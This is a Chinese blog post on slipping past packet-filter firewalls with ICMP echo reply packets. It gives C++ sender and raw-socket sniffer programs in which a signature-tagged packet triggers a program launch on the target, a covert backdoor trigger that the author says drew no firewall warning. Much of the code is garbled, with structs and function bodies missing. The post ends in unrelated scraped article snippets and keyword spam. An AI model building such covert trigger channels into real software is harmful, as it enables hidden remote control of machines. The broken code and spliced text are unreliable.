注意:以下提到的防火牆都是指包過濾防火牆
icmp協議大家還是應該經常接觸到的,比如windows自帶的ping程式就是利用icmp協議來探測目標主機資訊
icmp協議的分析:
icmp協議報頭如下
type | code | checksum | identifier | sequence number | data
type :型別,表示icmp的型別,比如:0=echo reply 8=echo
code:
checksum:效驗和,就是對整個icmp頭的效驗
identifier: 標識
sequence number:序列號
data:資料
在回過頭來看看
ping程式的原理
ping程式首先傳送乙個 icmp echo型別的包到目標主機,如果目標主機返回乙個icmp echo replay包的話,那麼就代表主機存活,然後根據時間差,以及ip報頭的ttl把資訊列印出來.在我們使用ping命令的時候會發現這樣的現象,比如ping返回的是timeout,但是事實上目標主機卻是存活的,這是因為防火牆把icmp echo包給阻擋了,然而還有另外乙個現象也應該注意,我們本機安裝了防火牆,但是我們還是可以ping通其他的機子,比如202.115.23.129,這個說明防火牆對於我們出去的icmp包是不攔截的,另外也說明了另外乙個問題,也就是說防火牆是不阻擋icmp echo reply 包的.
既然你不攔截,我們就可以做一些事情了哦!
下面的程式演示了如何利用icmp echo reply來do something,只是為了驗證正確性,如果想加入其他功能,可以要額外的維護一些東西,這裡就不**了,有興趣可以和我**一下
(在測試的時候請關閉傳送icmp echo reply主機的防火牆,不然包可能無法發出去)
程式描述:
icmp_reply.cpp的功能是利用原始套節字傳送含有特徵碼的icmp echo reply包到目的主機
icmp_recv.cpp的功能是利用原始套節字嗅探icmp包,如果在icmp包中有我們的特徵碼,那麼執行乙個計算器
//icmp_reply.cpp
//使用原始套節字傳送icmp echo reply
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"
#pragma comment(lib,"ws2_32.lib")
// icmp header
struct icmpheader
;#define icmp_echo 8 // icmp回顯請求報文的型別值為8
#define icmp_echoreply 0 // icmp回顯應答報文的型別值為0
int main()
memset((char *)&icmpheader,0,sizeof(icmpheader));
icmpheader.i_type = icmp_echoreply; //echo
icmpheader.i_code = 0;
icmpheader.i_cksum = 0x0;
icmpheader.i_id = (unsigned short)getcurrentprocessid();
icmpheader.i_seq =0; ///?????
icmpheader.i_timestamp = (unsigned long)::gettickcount();
memset(&icmpheader.i_data,'a',26);
memcpy(&icmpheader.i_data,"gali*&",6); //特徵碼
unsigned short *buf = (unsigned short *)&icmpheader;
//計算效驗和
int nleft = sizeof(icmpheader);
int sum = 0;
unsigned short answer = 0;
while(nleft > 1)
if(nleft == 1)
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
icmpheader.i_cksum = answer;
int re = sendto(sock, (char *)&icmpheader, sizeof(icmpheader), 0, (struct sockaddr*)&addr, sizeof(addr));
if (re == socket_error )
closesocket(sock);
wsacleanup();
printf("傳送完畢");
return 1;
}//icmp_recv.cpp
//監聽icmp包,如果icmp包中有我們自定義的資訊,啟動乙個計算器
#include "winsock2.h"
#include "windows.h"
#include "stdio.h"
//#include
#pragma comment(lib,"ws2_32.lib")
#define sio_rcvall _wsaiow(ioc_vendor,1)
handle hevent; //執行緒結束標誌
// icmp header
struct icmpheader
;typedef icmpheader* lpicmpheader;
#define icmp_echo 8 // icmp回顯請求報文的型別值為8
#define icmp_echoreply 0 // icmp回顯應答報文的型別值為0
struct ipheader // 定義 ip 首部
;typedef ipheader* lpipheader;
int threadrecv(lpvoid lpparam)
// 必須將套接字繫結到本機的某一埠上才能獲取所有傳送給本機的資料報
sockaddr_in addr;
addr.sin_family = af_inet;
addr.sin_port = inaddr_any;
addr.sin_addr.s_un.s_addr = dwip;
if (bind(sock, (sockaddr*)&addr, sizeof(addr))) // 繫結失敗
// 設定套接字表示接收所有資料報
dword dwin = 1, dwret;
dword dwbufferlen;
if (wsaioctl(sock, sio_rcvall, &dwin, sizeof(dwin),
&dwbufferlen, sizeof(dwbufferlen), &dwret, null, null)) // 設定失敗
while (waitforsingleobject(hevent,0) == wait_timeout)
if (memcmp(picmpheader->i_data,"gali*&",6) == 0)
}return 0;
}int main()
;if (gethostname(name, max_path) != 0) // 獲取失敗?
hostent* phost = gethostbyname(name);
int nchild = 0;
unsigned long ullocalip;
handle hthread[64];
hevent = createevent(null,true,false,null); //結束標誌
while (phost->h_addr_list[nchild] != null) // 如果 ip 位址表中的 ip 未列舉完
waitformultipleobjects(nchild, hthread, true, infinite); //直到所有執行緒返回
printf("所有執行緒都已經返回!/n")
return 1;
}本程式在 vc 6.0+ xp下面測試成功,防火牆為 天網,沒有發出警告
最後再提一下為什麼僅僅包過濾的防火牆才可以穿透呢,包過濾的防火牆不檢測通訊的狀態,比如我用ping命令ping目標主機,這個就是狀態,基於狀態的防火牆會做乙個記錄,也就是在一定時段內,回應的 icmp echo reply 才讓通過,不然就kill. 這裡稍微分析一下,沒有做過具體的測試,有興趣的可以測試,歡迎交流
文章出自:
穿透防火牆技術
最近看了幾篇關於穿透防火牆技術的 發現其中有兩篇很值得學習下,一篇是介紹p2技術的,另一篇是基於反向連線 http隧道和dns共享穿透防火牆技術,對於p2技術不太熟悉,主要小節下後面三中穿透防火牆技術吧 電腦,技術,it,學習,交流,網路安全,qq,硬體,軟體,程式設計,教程,建站0 q,u6 z ...
HttpTunnel防火牆穿透指南
區域網穿透防火牆,可以使用httptunnel,這個軟體需要服務端做配合,要執行httptunnel的服務端,這種方法對區域網埠限制很有效。隱通道技術就是借助一些軟體,可以把防火牆不允許的協議封裝在已被授權的可行協議內,從而通過防火牆,埠轉換技術也是把不允許的埠轉換成允許通過的埠,從而突破防火牆的限...
讓Socket穿透Windows防火牆
建立了serversocket以後,並不是沒事了,其實上,為了系統安全考慮,建立伺服器套接字後,只是建立成功了,但是在資料報入站的時候呢,會被防火牆過濾,因此,我們就收不到來自網路的資料了。因此,在系統的預設安全級別下,當乙個程式第一次建立serversocket時,系統會彈出乙個這樣的對話方塊 除...